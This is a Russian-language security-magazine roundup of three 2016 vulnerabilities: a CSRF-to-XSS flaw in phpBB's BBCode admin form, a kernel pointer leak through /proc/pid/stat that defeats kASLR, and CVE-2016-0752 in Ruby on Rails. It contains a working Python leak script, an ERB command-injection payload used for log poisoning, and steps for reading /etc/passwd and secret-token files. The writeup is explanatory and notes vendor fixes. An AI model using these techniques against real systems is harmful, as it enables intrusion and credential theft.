Сегодня мы разберем CSRF-уязвимость в популярном форуме phpBB, а также покажем пример поиска подобных ошибок в большом проекте. Далее разберем технологию обхода kASLR и изучим эксплоит, основанный на удаленном выполнении кода в Ruby on Rails.

 

CSRF-уязвимость в phpBB

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 25 января 2016 года
Автор: Lander Brandt
CVE: N/A

Уязвимость была найдена в администраторской панели управления форума в форме создания BBCode. Поскольку BBCode добавлен в белый список, созданный для администраторов, атакующий может инжектить произвольный HTML или JavaScript в посты на форуме.

Для лучшего понимания автор рекомендует рассмотреть скрипт ./phpbb/phpBB/posting.php, так как он вызывается, когда пользователи создают сообщения или темы. Этот контроллер должен проверять права доступа и возможность создания записей, а также обрабатывать формы и, возможно, экранировать HTML. В самом начале файла мы можем увидеть нечто интересное.

// Оставляем только нужные параметры
$post_id    = request_var('p', 0);
$topic_id   = request_var('t', 0);
$forum_id   = request_var('f', 0);
$draft_id   = request_var('d', 0);
$lastclick  = request_var('lastclick', 0);

$preview    = (isset($_POST['preview'])) ? true : false;
$save       = (isset($_POST['save'])) ? true : false;
$load       = (isset($_POST['load'])) ? true : false;
$confirm    = $request->is_set_post('confirm');
$cancel     = (isset($_POST['cancel']) && !isset($_POST['save'])) ? true : false;

Здесь определено большинство параметров, используемых в контроллере. Часть из них берет свои значения из устаревшей функции request_var(). Она представляет собой обертку метода \phpbb\request\request_interface::variable(), который возвращает запрошенные значения из некоторого ассоциативного массива. Массив этот является объединением значений глобальных переменных $_GET и $_POST. Все эти значения также обработаны функцией trim() и приведены к нужному типу.

Таким образом, если мы найдем форму, которая отправляет запросы POST, то, возможно, там же сможем отправить и GET. А это верный путь к нахождению CSRF-уязвимости.

Но для начала разберем, как работают CSRF-токены в phpBB. Поищем строку с обработчиком одной из форм.

if ($submit && check_form_key('posting'))

Из названия функции check_form_key() ясно, что она проверяет токен CSRF, а если заглянуть внутрь, то обнаруживается, что делает она это простым сравнением. Ниже в файле есть вызов еще одной функции.

  add_form_key('posting');

То есть и добавление, и проверка токена CSRF осуществляется вручную. А это еще больше наталкивает на мысль о наличии уязвимости.

Попробуем найти в исходниках вызовы функций add_form_key() и check_form_key(). Наша задача — найти файлы, где есть add_form_key() и при этом нет check_form_key(). На следующем скриншоте показаны результаты такого поиска.

Найденные вызовы функций `add_form_key()` и `check_form_key()`
Найденные вызовы функций `add_form_key()` и `check_form_key()`

Большее количество вызовов check_form_key(), чем add_form_key(), не должно тебя смущать, так как проверять токен можно сколько угодно раз. Мы же ищем такие места, где токен добавляется, но не проверяется. Таких мест всего два: acp_bbcode.php и acp_extensions.php.

Файл acp_extensions.php нам не слишком интересен, так как он всего лишь предоставляет администраторам возможность видеть нестабильные версии расширений phpBB при проверке обновлений. В ходе успешной эксплуатации такой CSRF-уязвимости атакующий может сделать так, что администратор будет думать, будто его плагины устарели. Не слишком полезно.

А вот второй файл (acp_bbcode.php) подходит как нельзя лучше, так как принимает параметры через POST-запрос, а метод request_var() используется для получения всех значений из формы. В итоге, используя полученный CSRF-токен, мы можем создавать произвольные команды BBCode через GET-запрос.

Хоть эта уязвимость и может привести к XSS, но это не совсем полезно для атакующего. По умолчанию phpBB повторно аутентифицирует админов, которые заходят в панель управления, и дает им в этот момент другой ID для сессии. SID по умолчанию должен присутствовать как в cookie, так и в строке запроса.

Теоретически возможна тайминг-атака, так как идентификаторы сессии проверяются оператором сравнения.

($this->session_id !== $session_id)

Однако это не особенно практично, потому что сессии привязаны к IP, версии браузера и некоторой другой информации. Но главное — провести такую атаку по сети непросто. Исключение — если на одной из страниц панели админа есть уязвимость XSS, которая позволит получить SID из document.location.

 

EXPLOIT

Полученная XSS-уязвимость через CSRF в форуме phpBB
Полученная XSS-уязвимость через CSRF в форуме phpBB

Автор опубликовал отчет и видео, где показано, как использовать эту уязвимость.

 

TARGETS

phpBB < 3.1.7-PL1.

 

SOLUTION

Производитель выпустил исправление.

 

Эксплуатируем утечку информации в ядре Linux, чтобы обойти kASLR

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 24 января 2016 года
Автор: Marco Grassi
CVE: N/A

Многие из читателей знают про механизм ASLR (Address Space Layout Randomization) — рандомизацию адресного пространства. Менее известный kASLR — это то же самое, но для ядра (k — kernel). Пока что kASLR не включен по умолчанию в популярных дистрибутивах, но это не делает их менее безопасными. И вот почему.

Некоторое время назад исследователь Марко Грасси изучал каталог /proc в Android, и его внимание привлекло поле WCHAN. Это канал ожидания (wait channel), там содержится адрес события, которое ожидает конкретный процесс. Увидеть его можно при запуске команды ps с опцией -l.

Узнать значение wchan ты можешь из пространства пользователя, прочитав /proc/pid_of_interest/stat. И это довольно странно. Что, если наш процесс находится в пространстве ядра? Тогда мы получим адрес ядра? После некоторых проверок автор получил положительный ответ.

marco@marco-l:~/Documents$ cat /proc/2755/stat
2755 (sleep) S 2499 2755 2499 34817 2759 1077960704 124 0 0 0 0 0 0 0 20 0 1 0 82435 11673600 170 18446744073709551615 4194304 4218740 140722592633520 140722592633144 140073761328928 0 0 0 0 18446744071579755915 0 0 17 1 0 0 0 0 0 6319632 6320692 32489472 140722592637401 140722592637415 140722592637415 140722592641005 0

Значение 18446744071579755915 — это, очевидно, место расположения кода ядра, и в hex выглядит следующим образом:

>>> hex(18446744071579755915)
'0xffffffff810de58bL'

В качестве тестовой ОС автор выбрал Ubuntu 14.04, но, так как kASLR там не включен по умолчанию, для успешного воспроизведения следующего примера нужно будет его включить.

 

EXPLOIT

Тестовый скрипт очень прост и быстр. Как сказано ранее, в /proc/pid/stat лежит код ожидания из пространства ядра, поэтому мы можем:

  1. Зафиксировать это место ожидания.
  2. Получить с помощью WCHAN значение ASLR.
  3. Сравнить утекшее значение с известным «случайным» значением.
  4. Вывести смещение.

Для первого пункта мы можем воспользоваться следующим трюком: если форкнуть процесс и перевести его в режим сна, то после этого мы сможем прочитать его /proc/sleeping-pid/stat, и, пока процесс спит, это будет стабильным значением.

Во втором пункте все ясно, а в третьем известное значение мы можем получить, к примеру, запустив ядро без включенного kASLR, но есть и другие способы.

Пример получения адресов на языке Python.

import subprocess
import time
import sys
import pprint
PROC_PATH = "/proc/%d/stat"
NON_SLID_VALUE = 0xffffffff810de58b
def main():
    sleepp = subprocess.Popen('sleep 100000'.split())
    time.sleep(1)
    child_pid = sleepp.pid
    content = None
    with open(PROC_PATH %(child_pid), 'r') as f:
        content = f.read()

    if not content:
        print 'Unable to read stat from child'
        sys.exit(0)

    elements = content.split()
    print 'Leaking kernel pointers...'
    leak = int(elements[34])
    print 'leak: 0x%x %d' %(leak, leak)
    print 'kASLR slide: 0x%x' %(leak - NON_SLID_VALUE)

if __name__ == '__main__':
    main()

Вот как будет выглядеть результат работы.

marco@marco-l:~/Documents$ python infoleak.py
Leaking kernel pointers...
leak: 0xffffffffb70de58b 18446744072485725579
kASLR slide: 0x36000000

Если хочешь узнать больше про kASLR, рекомендую вот этот топик с подборкой ссылок по теме.

 

TARGETS

Системы с включенным kASLR и без указанного ниже патча.

 

SOLUTION

Производитель выпустил исправление.

 

Удаленное выполнение кода в Ruby on Rails

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 25 января 2016 года
Автор: John Poulin
CVE: CVE-2016-0752

Разберем уязвимость в фреймворке Ruby on Rails, которая в определенных условиях позволяет атакующему выполнить удаленно произвольный код. Если исследуемое приложение использует динамический рендеринг путей (к примеру, render params[:id]), то оно уязвимо.

Контроллеры RoR по умолчанию полностью рендерят отображаемый файл, который соответствует вызываемым методам. К примеру, метод контроллера show полностью сгенерирует файл show.html.erb, если не получит других точных параметров рендеринга.

Однако во многих случаях разработчики решают, как рендерить, на основе формата, то есть результат будет разным в зависимости от того, что должно быть на выходе — HTML, JSON, XML или другой формат. В указанном выше случае используется языковой шаблон (ERB, HAML и так далее). Есть несколько методов, которые можно использовать, чтобы повлиять на отображение содержимого. Для наших целей мы сфокусируемся на методе рендеринга. В документации Rails описано несколько способов вызывать такой метод, включая возможность явно указать путь к содержимому с помощью опции file:.

Рассмотрим небольшой код.

def show
  render params[:template]
end

На первый взгляд он очень прост, и можно сразу предположить, что контроллер хочет отобразить шаблон с помощью параметра template. Но неясно, откуда он его будет подгружать. Из основной директории или откуда-то еще? Будет ли это полный путь до файла или просто его имя? Разберемся с механизмом чуть подробнее. Это яркий пример функции, которая пытается выполнить слишком много всего. В ней-то и кроется проблема.

Предположим, мы ждем, что функция отрендерит файл app/views/user/#{params[:template]}. Другими словами, если значение параметра шаблона будет равно dashboard, то будет выполнена попытка загрузить файл app/views/user/dashboard.{ext}, где ext — это любое из разрешенных расширений: .html, .haml, .html.erb и так далее.

Пример загрузки шаблона dashboard
Пример загрузки шаблона dashboard

Но что будет, если мы попытаемся загрузить шаблон из другого пути — ../admin/dashboard?

Попытка загрузки шаблона из ../admin/dashboard
Попытка загрузки шаблона из ../admin/dashboard

После небольшого анализа ошибки стало понятно, что приложение пытается найти шаблон по нескольким путям, включая RAILS_ROOT/app/views, RAILS_ROOT и корневую директорию системы. Первым делом, конечно, хочется проверить доступность файла /etc/passwd, что и сделал автор эксплоита.

Читаем файл /etc/passwd
Читаем файл /etc/passwd

Если мы можем читать файлы системы, то, может, получится узнать содержимое исходников приложения и его настройки? Например, config/initializers/secrettoken.rb.

Содержимое файла config/initializers/secrettoken.rb_ file
Содержимое файла config/initializers/secrettoken.rb_ file

Сделать все это позволил код, который использовал динамический рендеринг путей внутри приложения. И к сожалению, это не самое худшее.

 

EXPLOIT

Исследователь Джефф Джармок описал в своей статье «The Anatomy of a Rails Vulnerability — CVE-2014-0130: From Directory Traversal to Shell» возможность получения шелла в приложениях Rails, если будет найдена уязвимость обхода путей. Он как раз описывает схожую ошибку, скрытую в механизме рендеринга. В нашем же случае была найдена уязвимость типа LFI, а она имеет другую особенность. Мы загружаем, интерпретируем и выполняем файл как код (ERB). Обычная уязвимость обхода путей возвращает неисполняемый контент (к примеру, файл CSV). Мы же не только можем прочитать исходники приложения и другие доступные для чтения файлы в системе, но и выполнить Ruby-код с правами веб-сервера.

Для проведения атаки воспользуемся техникой «загрязнения» логов, которую мы уже не раз описывали. Ruby on Rails спроектирован так, что записывает все запросы, включая параметры, в файл с логами окружения (к примеру, development.log).

Отправим запрос на правильную страницу, но с поддельным параметром и URL-кодированным значением:

<%= `ls` %>
Отправка запроса с ложным параметром fake
Отправка запроса с ложным параметром fake

Проверим содержимое лога.

Полученное содержимое файла development.log
Полученное содержимое файла development.log

И попытаемся обратиться к обновленному development.log.

Результат выполнения команды ls
Результат выполнения команды ls

Наша небольшая полезная нагрузка была выполнена и заменена на результат работы команды ls.

Автором был написан модуль для Metasploit, который автоматизирует атаку.

Пример успешной эксплуатации уязвимости CVE-2016-0752
Пример успешной эксплуатации уязвимости CVE-2016-0752

Оригинальную статью ты можешь прочитать в блоге компании автора. В ней же он приводит и пример патча к фреймворку, если ты по тем или иным причинам не можешь обновить RoR.

 

TARGETS

Ruby on Rails без патча от 25 января 2016 года.

 

SOLUTION

Производитель выпустил исправление.

Оставить мнение